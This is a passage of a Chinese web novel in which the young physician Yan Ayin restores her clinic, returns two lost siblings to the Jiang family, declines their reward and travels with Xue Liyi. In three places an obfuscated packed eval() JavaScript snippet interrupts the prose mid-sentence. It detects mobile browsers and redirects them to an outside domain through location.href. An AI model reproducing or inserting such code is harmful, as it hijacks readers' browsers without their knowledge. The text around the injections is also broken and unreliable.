晏阿音无比狼狈地站在自家药馆门口,仰头看着头顶的牌匾,想到这几日的遭遇,差点热泪盈眶。 她抹抹眼泪,颇有悲壮的感觉。 薛荔衣无奈地绕过她:“还是我来敲门吧。” 看她这个架势,不知道的还以为敲阎王殿的门呢。 只是,也不知道是薛荔衣敲门的力道太大,还是这门本来就塌过一次,只见薛荔衣叩了叩门,那老旧的门板颤颤巍巍地摇晃两下,竟然在晏阿音的注视下倒下了。 倒下了。 薛荔衣见晏阿音如被雷劈的模样,手抵在唇边,尴尬地咳了声:“可能它看你回来了,过于激动。” 晏阿音愤怒地攥紧拳头让自己不要生气,把他推开,走进去道: “李大安——” 药馆里乱糟糟的,东西散落一地,堂前种植的水莲也快干了,晏阿音越看越悲痛欲绝,感觉自己眼一闭就要晕倒了,此时,身后不远处忽然传来声音:“大哥,你回来啦?” 晏阿音转头,看见大安傻愣愣地站在门边,手里抱着半盆馒头,嘴里还塞着半个,腮帮子鼓鼓的。 大安对上她的死亡眼神,忙把嘴里的半个馒头拿出来,装作什么都没发生。 晏阿音皮笑肉不笑地问:“原来你也在啊,我以为家里遭贼了,正要去报官抓贼呢,要不要一起啊?” 大安抱着盆子嗒嗒嗒跑过来,扭捏地说:“大哥,药馆确实有点乱,但是我不是故意不收拾的,这两天你和薛大哥被人带走了,我找也找不到你们,可担心了,饭都吃不下。” 晏阿音的视线落在他怀里的半盆白白胖胖的大馒头。 ……? 这叫吃不下饭? 大安把盆子举到她面前,赶紧道:“大哥,这这这是我今天早上才做的,我前两天都没吃东西呢,我今天想着要是你们回来了,总得准备点什么吃的,所以我早上才做馒头了!” “大哥,你吃一个。”大安把盆子往她跟前一凑。 晏阿音嫌弃地把盆子推开:“不吃。” “咦?大哥,这是谁啊?”大安注意到了面无表情的江舟和柔弱的江粥。 晏阿音只能说:“病人。” 大安茫然地道:“啊,大哥,我们什么时候把病人往家里带了?” 晏阿音眉毛打结: “你就当咱们药馆以后又多了俩人吧。” 什么?又要多养两个人?大安震惊地瞪大了眼睛,抱着馒头晕倒在地。 江粥被大安吓了一跳,躲到晏阿音身后,立刻又是一副要哭的模样。 晏阿音:“李大安,给你三秒钟,给我起来。” 大安立刻利索地爬起来。 却瞅着多出来的两人,捂着胸口,悲伤到无法呼吸。 “大哥,你也不是不知道咱们的生活多拮据……” 晏阿音打了个呵欠:“如果缺钱了,就找薛荔衣要。” 一旁的薛荔衣轻轻扬眉,笑道:“为什么是找我要?” 晏阿音故意道:“没有为什么,这是你大哥的命令。”说完,颇为张扬地冲着薛荔衣挑了挑眉。 才和他相处没多久,她的举手投足间竟然有了他的影子。 薛荔衣瞧着她,倒也没说话,勾唇轻笑起来。 晏阿音立刻扭头,不看薛荔衣的笑,这狐狸笑的时候准没好事。 药馆被人砸了,乱七八糟,没收拾完住不了人。晏阿音悲伤地望天,不过好在干活的人多了两个,晏阿音又开心起来,带着几人开始干活。 大安力气最大,扛东西的活交给大安;江舟行动敏捷、飞檐走壁,高处的东西由江舟负责;江粥帮忙递东西;晏阿音负责指点摆放;薛荔衣则干剩下他们不干的事情。 忙了大半日,到了晚上,他们终于把药馆收拾清楚。 晏阿音用手背擦了擦额头的汗:“终于收拾好了。” 薛荔衣站在旁边,瞥了她一眼,顺手把她脸上的一抹黑灰擦掉了。 晏阿音感觉到脸上温热的触感,不自在地扭开头,抬手擦着他碰过的地方,嘀嘀咕咕:“干什么干什么,我自己能擦呀……” 江舟刚好站在另一边,把这一切都看在了眼里,默默地注视着她。 晏阿音察觉到了两边的注视,先往薛荔衣这边瞧了一眼,又看了看江舟,察觉到气氛变得不大对,登时懵圈了。 这是什么情况? 怎么感觉两边的人要打起来了? 晏阿音严肃地咳了一声,转移话题:“江舟和阿粥的房间还没安排,你们跟我来,我带你们去房间,药馆刚好剩下两间……” 薛荔衣懒洋洋道:“这还要带?药馆又不大,空房间就在后院,自己走过去不就行了。” 晏阿音瞪他:“你别说话。” 薛荔衣竟然真的不说话了,随意地走到药馆门口,靠着药馆大门,背对着他们眺望远方的景色。 晏阿音见他背影有几分孤寂,不禁有些懊恼方才脱口而出的话,但还是先对江舟和阿粥说:“你们跟我来吧。” 后院空余的第一间卧房条件比较好,晏阿音沿着青石板铺就的小路走进去,指着外面那间道:“这个房间比较好些,离外院近,给阿粥住,若有什么事情方便找人。” 江粥点点头,专注地看着她。 晏阿音低头看着她紧捏着自己衣裳的手,头疼道:“阿粥,你可以进去洗漱休息一下,晚点再出来吃饭。” 江粥却摇摇头,似乎不想离开她。 晏阿音求助似的看向江舟。江舟看了她一眼,对妹妹道:“阿粥,听话。” 江粥看了严厉的哥哥一眼,只好松了手,转身进房间去了。 晏阿音大松了口气:“江舟,你跟我来吧。” 江舟并不说话,跟在她身后走着。 晏阿音把他带到旁边的卧房,卧房的门很是陈旧,一推就发出刺耳的吱呀声,卧房内只有一张木窗摆在墙边,床上铺着洗得发白的床单,除此之外,只有一张破木桌、一张木凳和一盏油灯。 这个环境,只能算是勉强过得去。 晏阿音就算脸皮再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940460|177329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厚也觉得不好意思了,干笑着对江舟说:“这个……你先将就着住着,实在住不惯,你就住我那个屋子,虽然也好不到哪去,但肯定比这个……” “不用,我就住这里。” 江舟干脆道。 好人啊。 晏阿音感动得泪花都要出来了,擦擦眼睛,去给江舟点油灯。窗外天色渐暗,卧房内没有灯照明简直寸步难行,晏阿音费了好一番功夫才点亮油灯。 灯火跃起,晏阿音如释重负,转身对江舟道:“大安去做饭了,一会儿你记得……” 话还没来得及说完,晏阿音踉跄退后,背撞墙壁,瞪大的眼睛里清晰地倒映出江舟的脸。 “你你……” 江舟近距离地看着她,专注的目光从她的眼睛、鼻子掠过,最后停在她的嘴巴上。 晏阿音浑身的汗毛都炸起来了。 什、什么情况。 这家伙武功贼高,不会要揍她吧!虽然这住宿环境差了点,也不至于打人啊…… 晏阿音立刻以一个高难度的姿势滑下去,从他的胳膊肘下钻出去,欲哭无泪地狂奔出去:“不是,等下记得出来吃饭啊。” 江舟看着面前已经空荡荡的墙壁,垂下眼,嗅着空气中那抹似有若无的香气,若有所思地低声道: “你是……女人……” 另一边,晏阿音拔腿狂奔到前院。 薛荔衣还在眺望远方,听见身后逼近的脚步声,好笑道:“见鬼了?” 晏阿音跑的速度太快,差点从薛荔衣身边飞过,薛荔衣一伸手,把她拎了回来。 晏阿音道谢,气喘吁吁地扶了一把薛荔衣才站稳。 薛荔衣低头看着自己被“揩油”的胸膛,浑不在意地道:“里面有鬼?” 晏阿音凝重思索:“差不多。” “……” 薛荔衣瞥了一眼她微红的脸颊,挑眉道:“你这是吃到别人豆腐了?还是被吃豆腐了?” 晏阿音踢他一脚:“你大爷我能被人吃豆腐吗?” 薛荔衣道:“所以是你吃别人豆腐?江粥,还是江舟?” 晏阿音:“……” “你可以闭嘴了。” 翻个白眼,直接在门槛坐了下来。 大安在厨房做饭,饭菜的香味一阵阵飘出来,晏阿音用力地闻了闻,咧嘴笑:“今天有麻婆豆腐哎。” 等了半天,薛荔衣竟然都没说话。 晏阿音纳闷地抬头,却恰好撞上他的视线。 她莫名有些心里发毛,移开视线道:“干嘛这么看我。” 薛荔衣道:“今晚喝不喝酒?” 喝酒? 晏阿音表情犹豫。 薛荔衣果然嘲笑:“不会喝?” 晏阿音被激起了胜负欲:“谁说我不会喝酒了!” 薛荔衣瞥她:“那今晚大家一起喝?” “好啊。” 晏阿音不服输地抬起下巴。 薛荔衣点点头,起身出去:“附近镇上有一家酒楼,我去买。” 晏阿音刚想说几个人共喝一坛酒就够了,结果还没开口呢,走出一段距离的薛荔衣声音就淡淡地飘了过来:“一人两坛,一共十坛,够了吧?我去定了让人送来。” 什么?十坛?晏阿音的手开始哆嗦了,刚站起来要叫住薛荔衣,他却已经走远了。 某人石化在原地。 15. 第 15 章 大安很快就把饭菜摆上了桌子,因为今天是大家团聚的日子,再加上大家都劳累了一天,大安特地做了一大桌子的菜肴安慰大家的肚子,放眼看去,每道菜都色泽鲜亮,香气扑鼻。 晏阿音去叫江粥和江舟吃饭,出来的时候,刚好听见大安遗憾地看着一桌子菜嘟囔道:“哎呀,这时候要是再配上几坛酒就好了……” 晏阿音的眼皮跳了挑,绷着脸一言不发。 “要酒?这不是来了么。” 薛荔衣低沉含笑的声音自大门外传来,晏阿音人没动,警惕的眼风先飘了过去,下一刻,果然见薛荔衣风流倜傥地走进来,身后跟着两个伙计,两个伙计各挑一个扁担,嘿咻嘿咻担着结结实实的十坛酒。 晏阿音还抱着最后一丝希望——说不定这十坛酒里有九坛是别人定的,伙计只是顺路带到这里来…… 砰的一声,伙计把十坛酒搁下了。 “这位公子,您的十坛酒到了,小的先走了啊。”伙计笑呵呵地说完,离开了。 晏阿音最后一丝希望也破灭了,觉得自己不如现在晕过去算了。 大安激动万分,感觉看到了神仙:“薛兄弟你真是太厉害了,竟然猜到了我的心思,我实在太爱你了。” 薛荔衣毫无痕迹地避开了大安的熊抱,咳了一声道:“拥抱就算了,坐吧。” 大安嘿嘿笑着,让江舟和江粥一起落座。 吃饭的大桌子摆在天井底下,头顶就是静谧的夜空,夜风习习,很是凉爽。 江粥在晏阿音身边坐下,江舟则坐在江粥另一边,挨着大安坐。 薛荔衣很自然地挨着晏阿音的旁边坐下了。 晏阿音横眉怒目:“大安旁边不是还有位置吗?” 薛荔衣随口道:“坐这儿更方便伺候大哥不是?” 晏阿音:“……” 什么玩意。 晏阿音默默地把屁股底下的凳子往江粥旁边挪了挪,江粥笑靥灿烂,立刻给晏阿音夹了一筷子菜。 “谢谢。” 晏阿音受宠若惊地吃菜。 薛荔衣也给晏阿音夹了一筷子菜。 晏阿音面无表情,拿了一双筷子又给夹回薛荔衣碗里了。 薛荔衣挑眉看她:“大哥怎么厚此薄彼,只吃别人夹的,不吃我夹的。” 晏阿音不理会他,专心吃自己碗里的菜。 薛荔衣打开了一坛酒,递给大安,大安欢喜地接过:“谢谢薛兄弟!” 薛荔衣又拿一坛给江舟喝,江舟客气地拒绝:“我不用。” 薛荔衣也没在意,却瞥了江舟的胳膊一眼,说道:“江兄弟胳膊上的胎记,挺特别的么。” 他只是随口说了句,江舟却皱起了眉,眼中凶光一闪。 晏阿音茫然地问道:“什么胎记?” 薛荔衣道:“也没什么,就是偶然看到江舟兄弟胳膊上有个红色的胎记,记下来了而已。” 晏阿音盯着面前的虚空,脑子里有什么一晃而过。 她忽然想起了什么。 经过薛荔衣这一提醒。 她想起了在客云曾经见过的一个寻人告示! 上面要找的人似乎就是一个男孩一个女孩,特别标注了,男孩胳膊上有一个红色胎记。 “什么胎记什么胎记,我看看。”晏阿音饭都没咽下去就跑到江舟身边。 薛荔衣毫无痕迹地抬眼瞥了她,含笑低下头,继续吃自己的饭,当没看见。 江舟略显尴尬地被晏阿音撸起了衣袖,他本来很厌恶别人的触碰,可是晏阿音的触碰让他并不厌恶,所以他只是僵硬地任由晏阿音抓着。 晏阿音看见江舟胳膊里侧有一个弯刀的红色胎记。 对了。 吻合了。 晏阿音立刻几乎可以百分百确定,江舟和江粥就是那个寻人告示上的人。 晏阿音双眼发光:“阿粥,江舟,快吃饭,吃饱了我带你们出门去。” 江粥懵懂地问道:“去哪呀?” 江舟面无表情:“不去。” 晏阿音一愣,呆呆地看着江舟,江舟被她一看,皱起了眉头,终究松口道:“好吧。” 晏阿音觉得江舟应该是察觉到了什么。 比如,他们的家找到了。 还有他们的亲身父母。 比起江舟的如临大敌,晏阿音却很兴奋。 帮人家把娃给找到了。 大喜事。 天大的喜事。 吃完饭,晏阿音扔了句“洗碗的重任就交给你了”给大安,就兴冲冲地扯着江粥和江舟出门去了。 大安懵逼地站在桌旁:“大哥咋这么高兴?” 薛荔衣笑眯眯的:“要拿钱了,怎么不高兴。” “哎呀,真的啊?”大安双眼迸射光茫。 薛荔衣没说话,懒洋洋地挑了挑眉,也跟上晏阿音等人一起去了。 晏阿音去贴告示的地方一看,在层层叠叠覆盖上去的告示里,勉强认出了一个姜家寻找儿女的告示。上面的胎记,竟然真的和江舟胳膊上的一样。 晏阿音脚步不停,直接扯着江舟和江粥往姜家的方向赶。 途中她还絮絮叨叨:“你们的名字是自己起的吗?” 江舟冷漠着脸不吭声。 晏阿音心中却愈发笃定找对了。 一路赶到了姜家,晏阿音上前敲门。 敲门敲得贼大力。 没多久,门开了,伙计咬牙切齿地出来:“你找谁?” “我给你们家少爷小姐找回来了。”晏阿音正经地说。 伙计一看江舟和江粥,不咬牙切齿了,震惊地双眼刹那间瞪大,扭头就往里跑。 江粥害怕地躲在晏阿音身后,拉着她的衣袖,一幅要哭的模样。 晏阿音喜滋滋地安慰她:“别怕别怕,这是你的家。” 很快,一个妇人赶出来,迈出门槛,第一个看见江舟,又看见江粥,眼眶当即红了。 “我的……我的孩子。” 妇人泪如雨下:“你们终于回家了,这几年爹和娘找你们找得好苦,一晃你们都长这么大了,这么多年吃了很多苦吧。” 晏阿音想举手:“请问……” 妇人看了晏阿音一眼,掩饰不住的感激:“多谢小大夫,我是姜夫人。你是好心人啊,要不是你,我还不知道要找他们找多久。我的孩子叫姜樾之,和姜烛宁。” 江舟和江粥都不说话地站着。江舟垂着眼,没有表情;江粥有些害怕,眼神飞快地看看晏阿音,又看看许久不见的母亲。 晏阿音经过姜夫人一番描述,明白了前因后果。 难怪江舟和江粥给自己编的名字是这个,当年两个小家伙走失的时候,哥哥只记得自己姓姜,但是哪个姜就不得而知了,所以才会错误地记得自己叫江舟,给妹妹取名江粥。几个字,发音都很类似。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940461|177329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 姜夫人连连道谢,晏阿音被说得有些不好意思,正要说不用给太多银子,结果姜夫人忘我地牵着两个孩子就进门去了。 大门合上。 晏阿音在原地呆滞了一会儿,迟疑地扭头,看向跟过来的薛荔衣。 “这啥情况?” 薛荔衣:“你看见了什么,就是什么情况。” 晏阿音认真地分析了一下:“咱们是没有被请进去坐一下吗?” 薛荔衣也很认真地说:“为什么要被请?我们又不是来拜访的,我们只是来送孩子的。” “有道理。” 晏阿音继续分析:“但是姜夫人是不是忘记了什么,比如要给我们点,嗯,报酬。” “是的,她忘记了。”薛荔衣也煞有介事地说。 晏阿音纠结地说:“我们好像也不太好直接让她给,对不对。” “对。” 晏阿音更难过了:“那我们是不是就得空手回去了?” 薛荔衣:“是的。” 晏阿音悲痛欲绝。 伏门伤心了一会儿。 才反应过来,立刻瞪眼,说道:“喂,薛荔衣。” “干啥?” “你这应和的都是什么风凉话呢,气死我了!” 晏阿音想跳脚。 方才这一问一答他都是故意的吧。 薛荔衣眨眨眼睛:“我说的不都是实话么。” 没错,说的都是实话。 偏偏都是最戳人心窝子的实话,没一句好听的。 晏阿音愤怒地哼了一声,扭头就走。 薛荔衣看着她气呼呼的背影,有些好笑,摇摇头跟了上去。 “你帮了人家,这是好事,别冲着报酬去做,就算没有得到报酬也别难过。”薛荔衣像安慰小孩一样说着。 晏阿音低头,没多久,闷闷地嘀咕:“我知道。” “那你难过什么。” 晏阿音郁闷地抹了抹眼睛:“也许,我有点舍不得江舟了吧。” 其实她没那么在乎报酬。 只是,她昨日才想好了今后身边会多了两个人,正在谋划未来大家一起奋斗的日子,没想到今日伙伴就离开了,有点难过而已。 薛荔衣额心跳了跳:“你说清楚,哪个舟?” 舍不得江粥就算了。 江舟? 晏阿音不想理会他,朝他露出一个挑衅的表情,丢下他,扭头往街上走去了。 * 晏阿音回药馆之后,一切似乎恢复了正常,生活也回到了从前的正轨。 晏阿音每日早晨起来开门治病,诊治病人,平时如果有需要,薛荔衣就给她打下手。 薛荔衣倒也好使唤,她让做什么就做什么。但晏阿音每次看着薛荔衣穿着再朴素不过的衣裳干活,总有一种奇怪的感觉——他原本似乎不应该这样。 薛荔衣的真实身份是什么,她不知道,薛荔衣不想说,她也不问。 那次仇家寻衅上门,她其实隐约猜到和薛荔衣有关,但具体的她没有问。 她和薛荔衣都是有秘密的人。 这一日,晏阿音早起洗漱时,薛荔衣已经比她更早起来了。他有空时总喜欢站在门边眺望,一站就是很久,晏阿音总觉得他站着不说话的背影就像是被风晒到了风干的稻草人。晏阿音不理解,但尊重。 这一次,薛荔衣看见她出来,懒洋洋笑道:“你的报酬要来了。” 16. 第 16 章 晏阿音听得一头雾水,暗道这人今天脑子是不是有坑,神神叨叨的。 晏阿音转身进厨房吃早饭去了。 吃完早饭,照旧打开药馆的门坐诊。 结果,第一个来的不是病人,是个小厮。 咦? 晏阿音好奇地看着小厮:“你不是姜府看门的那个小厮么,你也来治病啊?” 小厮笑着上前把一封信递给她:“我是来替我们夫人送东西的,那日我们夫人情绪太激动,忘记了感谢小大夫您,所以今日特地差小的送来谢礼,请小大夫您千万收下才是。” 姜夫人写信给她? 晏阿音呆呆地接过信封:“啊……好,替我谢谢你们夫人。” 小厮又道:“我们家老爷夫人,要带着两位小公子前去京城了,今日早上马车已经起程,我们夫人说,以后欢迎小大夫来京城做客,无论什么时候小大夫您来京城,夫人都盛情款待您。” 晏阿音十分震惊:“什么?你们要去京城了?” 小厮笑道:“是的,我们姜家本家其实在京城,几年前偶然来江南游玩,但因为少爷小姐失踪,老爷夫人才在客云这一带定居,寻找失踪的少爷和小姐,如今人既然找回来了,老爷夫人就要回京城去了。” 晏阿音有些怅然若失地点点头:“原来是这样啊……好吧。” 原本以为虽然见不到,但大家都在客云,总有一日能见到的,可是没想到这么快江粥和江舟就要去京城了,京城,那可是很远的地方呢。 晏阿音在心里默默的宽面条泪。 怎么她就不是走失的哪家官眷小姐呢,她也想有这待遇。 但面上,晏阿音保持和煦的微笑:“慢走。” 小厮离开了。 晏阿音像个漏气的糖人,萎靡不振地倒在了桌子上。 薛荔衣走到她身边。 “走,今天别接诊了,出去玩玩?” 晏阿音看着他含笑的俊脸,臭着脸道:“我要赚钱呢,走开,别耽误我。” “还赚?你现在不已经身家万贯了。”薛荔衣好笑道。 “什么身家万贯,你做白日梦做疯了吧。” 薛荔衣道:“但凡你打开那个信封看看呢?” 什么? 晏阿音看了看面前桌面的信封,狐疑地看了他一眼,拿起信封,打开。 里面竟然不是信,是银票。 晏阿音翻到银票的正面,看清上面的数字,双眼瞬间瞪成了铜铃。 ??? 不是。 她好像不识字了,这是多少? 多少? 薛荔衣好笑道:“喂,开心傻了?一辈子都不用为生计费心了,感觉怎么样?” 晏阿音呆呆地把银票放下。 “一万两。” “一万两。”她继续重复了一遍确认。 那可是一万两啊。 她接诊一年,才赚一两。 这一万两,她要赚一万年。 就这么给她了? 刺激太大,晏阿音想直接闭眼在桌子上晕过去。 薛荔衣拍了拍她:“起来,别突然兴奋死了,太亏。” 晏阿音坐起身,把他的爪子拍掉,瞪着他道:“说什么呢。” 薛荔衣含笑道:“想好要花银子做什么了吗?” 晏阿音忽然拉着薛荔衣,一幅准备出门的架势。 薛荔衣瞥着她拉着自己的手,又瞥她,唇边弧度风流多情:“做什么?” 晏阿音道:“去还钱!” 晏阿音带着薛荔衣出了门,叫一辆车,风风火火地从药馆出发去追姜夫人。 薛荔衣并不惊讶,跟在她身边,只是道:“你连姜家的人要从哪条路走都不知道,还想追上他们?而且,这一出门,追不追的上另说,我们可能没办法在天黑前就回到医馆。” 这代表着,他们都不知道会在路上遇到什么。 晏阿音只有一句话:“不管,我要还钱。” 薛荔衣笑着凝视着她的侧脸:“晏大夫,竟然不收下吗?某人似乎一直不是这种大方的性格吧。” 晏阿音:“闭嘴。” 晏阿音惆怅地望着手里的银票。 虽然很可惜。 她这么普通的市井小民,可从没见过这么大的钱。这么多钱,足以让她一辈子生活优渥了。 但是良心告诉她这钱不能拿。 两人一路打听过去,风尘仆仆地赶到不舟渡。 刚好,他们在姜夫人一行人要上马车的前一刻,拦下了姜夫人。 如今的江舟已经是姜少爷姜樾之,江粥是姜小姐姜烛宁,他们换了一身华丽的衣着,翩然站在码头,正准备跟着姜夫人走上船。 “等等,等等!” 晏阿音石破天惊的话语响起,他们不约而同停下脚步,回头朝晏阿音奔来的方向看去。 晏阿音追到码头船下,气喘吁吁,感觉自己快要过去了。 虽然身为大夫,但太久没锻炼身体。 虚了虚了。 晏阿音道:“姜夫人,您的东西我不能收。” 晏阿音说着,立刻把信封原封不动地塞给小厮,小厮也懵了,拿着信封不知如何是好。 姜夫人愣道:“晏大夫,你这是……” 晏阿音笑容坦荡,朗声道:“我只是顺手一帮,不需要报酬,姜夫人的好意我心领了。” 姜夫人看着她,知道她心意已决绝对不会收钱,愣了许久,露出一个真心的笑容。 “晏大夫心性如此,民妇自愧不如,如若晏大夫日后来了京城,我们姜家定盛情相待。” 晏阿音没有说话,只是看向姜樾之和姜烛宁。 她目光不仅变得有些复杂。 人生,就是这么令人琢磨不透…… 不久前,他们还是和乞丐差不多的地位,如今却摇身一变,成了富家的少爷小姐。 晏阿音满心复杂,最终却只能化为一抹灿烂的笑容,朝他们用力地挥手:“阿粥,江舟,以后,有缘再见!” 姜烛宁看见她的笑容,竟然红了眼眶,飞快地从船上跑下来,抱住了她。 晏阿音僵在原地。 不是。 怎么事儿。 怎么就这样华丽丽地过来抱她了。 晏阿音一动不动,眼珠子慢慢地移过去,那边,姜夫人和一干小厮们震惊地看着她们,这边,薛荔衣好像没什么表情,但唇边遮掩不住的笑容泄露了他看好戏的心理。 再那边,姜樾之也同样沉默地看着她。 就好像…… 他也想这么做。 晏阿音感觉到他的意图,登时头皮发麻,为了防止姜樾之也控制不住自己也过来抱她,发生诸如此类的解释不清的事情,晏阿音赶紧打哈哈:“啊,别这样,呵呵,没事,有缘再见嘛,有缘再见嘛,总能见到的是不是……” 姜烛宁粗暴地打断了她的话—— 她踮起脚尖,在晏阿音的脸颊上亲了一口。 晏阿音这下真麻了。 不是。 好像更解释不清了。 某人突然很想痛哭流涕,跪在地上求饶——姜夫人不会觉得她这不知好歹的小大夫勾引了她的女儿,这下要变态度斩了她吧。 好在姜烛宁亲了她一口,就回去了。 姜夫人倒也阔气,看小孩子玩闹一样笑道:“我女儿很喜欢晏大夫,日后晏大夫若有机会,一定要来京城 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15940462|177329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 玩。” 晏阿音僵硬得只剩嘴巴能动了:“好的。” 姜夫人察觉到薛荔衣站在旁边,看了他一眼,愣了许久,皱眉道:“这位年轻公子有些眼熟,似乎曾经在哪里见过。” 语气带着一些试探。 薛荔衣神色淡淡,没有动容:“夫人言重了,小民怎可能认识姜夫人。” 姜夫人不再说什么,笑了下,带着孩子走上船。 船要开启了,姜樾之和姜烛宁站在甲板上,遥遥看着岸边的晏阿音,晏阿音也目视着他们远去,最终化成水面尽头的一条黑线,消失不见。 晏阿音很怅然若失地叹了口气 没多久,又看向薛荔衣问道:“你刚才是怎么回事?” 薛荔衣淡淡道:“什么?” “姜夫人怎么说见过你。” 薛荔衣懒洋洋地轻笑:“可能是觉得我长得俊吧,和她之前见过的小孩儿长得像。” 晏阿音没有发觉薛荔衣这句话哪里不对。 她噢了声,扭头往回走:“走吧,我们回去。” 薛荔衣挑眉:“带银子了吗?我们总不能光脚走回去,搭车需要钱。” 晏阿音自信地道:“当然带了,我这人出门总不会只带要还的钱吧,我出门前还……” 晏阿音边说着,边摸到自己空荡荡的兜。 笑容凝固。 薛荔衣波澜不惊地看着她:“嗯?带了多少?” 晏阿音开始想抓头发:“不是……我钱呢?” 薛荔衣瞅着她破了一个洞的口袋:“晏大夫,你装银子的袋子好像破了。” 钱袋,破了。 钱,丢了。 晏阿音:“啊!!!” “我的钱!!!” “我辛辛苦苦看了那么多天的病人才攒下来的!!!我的钱啊!!!” 天塌了。 晏阿音头一仰,就要晕倒在地,薛荔衣一只手接住了她。 “喂,别晕这儿。” 晏阿音头唰的抬起,目光灼灼地看着他:“你有钱吗?” 薛荔衣反问:“你给过我钱吗?” 没有。 所以他也没钱。 “……” 晏阿音麻溜地头一仰,又要翻白眼晕倒。 薛荔衣笑眯眯地说:“晏大夫,别晕,你的肚子好像叫了。” 晏阿音摸着肚子站起来,悲伤扭头,闷头往客云的方向走去,一边碎碎念:“呜呜呜好饿啊,我要回家,我要吃饭。” 事实是,天黑了,他们真的连客云都没回去。 不过好在又找到了一处破屋子。 晏阿音木着脸坐在破屋子的破门边,仰天说道:“薛荔衣,你说到底是幸运还是不幸运?幸运吧,每次要花钱都没钱花,不幸运吧,但每次走投无路的时候都能有余地——” 奇了怪了,他们居然能在这破地方找到屋子,方圆可都是荒村。 薛荔衣却在不远处手枕着脑后,翘着腿,似乎躺得很悠哉。 晏阿音看得很不爽:“薛荔衣!” 薛荔衣懒洋洋地掀起眼皮:“怎么?” 晏阿音看他这副欠揍的模样就生气,颐指气使:“给你大哥我出去找吃的,现在立刻马上,没找到东西不许回来。” “噢,好的,小弟这就去。” 薛荔衣风度翩翩地笑了下,起身出去了。 晏阿音的手还停在半空,呆住了。 啊? 他咋这么听话? 晏阿音毛骨悚然,惊疑不定地看着那个背影远去,立刻缩起脚,害怕地开始想起想七想八。 咋回事。 薛荔衣被孤魂野鬼附体了?怎么这么听话啊。 17. 第 17 章 没多久,薛荔衣踏着夜色回来了。 晏阿音警惕地看着他,见他越走越近,手里似乎握着一把尖刀。锋利的刀刃,在夜色里倒影出冰冷的光。 刀?? 他要干啥! 晏阿音惊恐万分地缩到角落里,开始哆嗦:“薛薛薛薛荔衣……你你你你你你……” 他竟然想对她动手。 他他…… 薛荔衣走近了她,掠过她的身边,奇怪地看了她一眼,走到屋门旁边的流水处,蹲下身,开始处理手里的野鸡。 “你干什么?”薛荔衣奇怪地问。 晏阿音坐起来,盯着他手里的野鸡:“你抓鸡了?” 薛荔衣处理着野鸡,头都没回:“晏大夫,人长着眼睛是用来看的。” 晏阿音看着他熟练地处理野鸡,沉默了半天,清了清嗓子,干笑:“啊哈哈,好吧,原来是杀鸡啊……” 她还以为他意图不轨呢。 薛荔衣瞥了她一眼,好笑地回过头。 他从衣兜里掏出几颗野果,随手扔到她身边。 “先吃吧,干净的。” “果子。”晏阿音喜滋滋地擦了擦果子,咬了一口。 下一秒,某人的脸酸出五里地。 “呕!!!” 晏阿音捂着脖子狂吐。 晏阿音呕完,悲愤地看向薛荔衣。 谋杀。 这是谋杀。 不,这是赤裸裸的明杀。 薛荔衣看着她的模样,十分无语:“你就不能挑个红一点的吃吗?非得吃里面最绿的那颗。” “……” 晏阿音默默地捡起里面最红的一颗果子吃。 还行。 这颗挺甜的。 她就喜欢绿果子,不行吗? 薛荔衣处理好了野鸡,问她:“这野鸡,是交给你烤还是我烤?” 晏阿音二话不说:“当然是你烤。” 活肯定是他干啊。 她才不干。 薛荔衣:“那你是更喜欢吃脆一点的黑炭呢,还是更喜欢吃黏糊一点的黑炭?” 晏阿音:“当然是我烤。” 晏阿音气势汹汹地走到薛荔衣身边把野鸡夺了过来,碎碎念:“烤个野鸡都烤不好,居然能烤成炭?暴殄天物,简直是暴殄天物,给我一边儿去,碍事。” 薛荔衣也不生气,笑眯眯地靠在屋子外墙,悠闲地看着她生火烤鸡。 晏阿音倒是很认真,专注地烤鸡。 没多久,烤鸡的外皮变得金黄酥脆,晏阿音撒上香料,登时香气四散。 晏阿音嗅了嗅,陶醉道:“好香。” 她正准备把野鸡拿下来,薛荔衣忽然道:“你是不是应该先去洗个澡?” “啊?” 晏阿音满脸迷茫。 薛荔衣:“你不觉得自己脸上多了什么吗?” 多了什么? 晏阿音迷惑地搁下烤鸡,走到旁边的流水边,低头一看。 活脱脱一个小黑人。 晏阿音惊恐地抹了两把脸,赶紧跑远了,朝着河水边跑去。 “不许动我的烤鸡——”她离开了,还记得远远的抛来这一句话。 过了很久,明月当空,晏阿音把自己洗干净了,这才心满意足地走回来。 忽然。 她刹住脚步。 她盯着薛荔衣嘴里叼着的一个鸡头,陷入了沉默。 看看身边空空如也的地面,又看看薛荔衣,面无表情地问:“我烤好的鸡呢?” 薛荔衣认真地把鸡头啃干净了,扔进火堆里,然后双手枕在脑后,向后躺了下去。 整套动作行云流水,堪称潇洒。 